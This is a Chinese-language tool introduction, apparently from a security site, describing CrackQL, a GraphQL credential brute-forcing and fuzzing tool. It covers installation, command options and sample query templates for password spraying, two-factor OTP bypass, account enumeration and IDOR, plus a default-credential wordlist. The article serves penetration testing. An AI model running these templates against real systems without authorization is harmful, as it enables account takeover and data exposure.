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关于CrackQL
CrackQL是一款功能强大的图形化密码爆破和模糊测试工具，在该工具的帮助下，广大研究人员可以针对密码安全和应用程序安全进行渗透测试。
除此之外，CrackQL同时也是一款通用的GraphQL渗透测试工具，它可以控制速率限制和其他分析控制技术来对目标系统进行凭证爆破和模糊测试等操作，以测试程序的安全性。
工具运行机制
CrackQL的工作原理是将单个GraphQL查询或变异自动批量处理为多个别名操作，该工具可以根据CSV输入变量确定要使用的别名数。在以编程方式生成分批GraphQL文档后，CrackQL然后会分批并将Payload发送到目标GraphQL API，并解析结果和错误信息。
工具依赖组件
Python3
Requests
GraphQL
Jinja
工具安装
广大研究人员可以使用下列命令将该项目源码克隆至本地：
git clone git@github.com:nichola*saleks/CrackQL.git
接下来，利用项目提供的requirements.txt文件安装该工具所需的依赖组件：
pip install -r requirements.txt
工具运行
查看帮助信息
python3 CrackQL.py -h Options: -h, --help 显示工具帮助信息和退出 -t URL, --target=URL 目标GraphQL节点的URL路径 -q QUERY, --query=QUERY 指定输入查询或编译操作 -i INPUT_CSV, --input-csv=INPUT_CSV 输入CSV列表的文件路径 -d DELIMITER, --delimiter=DELIMITER CSV输入分隔符，默认：“，” -o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY 存储结果的输出目录，默认：./results/[domain]_[uuid]/ -b BATCH_SIZE, --batch-size=BATCH_SIZE 每次GraphQL文档请求的批量操作数量，默认：100 -D DELAY, --delay=DELAY 批量请求发送的时间间隔，默认：0 --verbose 启用工具Verbose模式 -v, --version 输出工具当前版本和退出
使用样例
python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
工具使用演示
密码喷射爆破
sample-queries/login.graphql
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}双因素身份验证OTP绕过
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}用户账号枚举
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}不安全的直接对象引用
sample-queries/idor.graphql
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}字典Payload
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
许可证协议
本项目的开发与发布遵循BSD-3-Clause开源许可证协议。
项目地址
CrackQL：【GitHub传送门】
参考资料
https://portswigger.net/burp/documentation/desktop/tools/intruder
https://www.graphql-modules.com/docs#authentication-module
https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
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